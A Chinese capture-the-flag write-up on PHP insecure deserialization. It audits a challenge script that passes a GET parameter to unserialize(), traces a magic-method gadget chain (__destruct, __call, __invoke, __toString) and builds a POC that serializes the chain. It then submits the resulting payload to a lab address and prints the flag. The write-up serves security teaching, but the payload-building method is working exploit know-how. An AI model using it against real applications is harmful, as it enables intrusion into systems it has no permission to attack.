反序列化漏洞(3), CTF夺旗

反序列化, CTF夺旗

一, 代码审计

1. 题目源码

class start_gg {
    public $mod1;
    public $mod2;
    public function __destruct() {
        $this->mod1->test1();
    }
}
class Call {
    public $mod1;
    public $mod2;
    public function test1() {
        $this->mod1->test2();
    }
}
class funct {
    public $mod1;
    public $mod2;
    public function __call($test2,$arr) {
        $s1 = $this->mod1;
        $s1();
    }
}
class func {
    public $mod1;
    public $mod2;
    public function __invoke() {
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1 {
    public $str1;
    public $str2;
    public function __toString() {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag {
    public function get_flag() {
        echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
    }
}
$a = $_GET['string'];
unserialize($a);

?>
2. 分析调用链

夺旗我们可以从调用链的终点开始分析.

我们看到flag是在GetFlag类的get_flag()方法获取, 那么查找哪个类可以调用到 get_flag() , 找到 string1 类.

string1 中调用了 __toString() 方法, 那么查找哪个类可以调用到 __toString() 方法, 看到 func 类中使用 mod1 做了字符串拼接, 那么定位到 func 类.

func中调用了__invoke()方法, 那么查找哪个类里面有用函数形式调用对象的代码, 看到funct类中使用 s1() 的形式调用, 那么让mod1作为一个对象即可, 定位到funct类.

funct 中使用了__call()方法, 那么查找哪个类里面调用了不存在的方法, 看到 Call 类中调用了不存在的方法test2(), 所以定位到 Call 类.

Call 类中调用了 test1() 方法, 这不是一个魔术方法, 那么我们查看一下哪个类中直接调用了 test1() 这个方法, 看到在 start_gg 类中直接调用了test1()方法, 那么定位到 start_gg 类.

到此为止所有的类已经被我们串联了起来, 以 GetFlag为终点, start_gg为起点形成调用链.

二, 根据调用链编写POC

根据我们分析的调用链顺序逐步实例化对象, 注意实例化哪个对象和它赋值给哪个属性, 搞错任何一个位置调用链就会失败.


class GetFlag {
    public function get_flag() {
        echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
    }
}

class string1 {
    public $str1;
    public $str2;

    public function __construct(){
        $this->str1 = new GetFlag();
    }
    
}

class func {
    public $mod1;
    public $mod2;
    
    public function __construct(){
        $this->mod1 = new string1();
    }
}

class funct {
    public $mod1;
    public $mod2;

    public function __construct(){
        $this->mod1  = new func();
    }
}

class Call {
    public $mod1;
    public $mod2;
    
    public function __construct(){
        $this->mod1  = new funct();
    }
}

class start_gg {
    public $mod1;
    public $mod2;
    
    public function __construct(){
        $this->mod1  = new Call();
    }
}

echo serialize(new start_gg()); // 序列化对象, 得到字符串
?>

执行结果:

O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

三, 利用漏洞获取flag

根据题目源码的参数, 提交GET请求:

http://192.168.112.200/security/unserial/ustest.php
?string=O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

执行结果:

flag:59DB9139E685F7D6A4A8784F9221066F

你可能感兴趣的:(渗透测试,安全)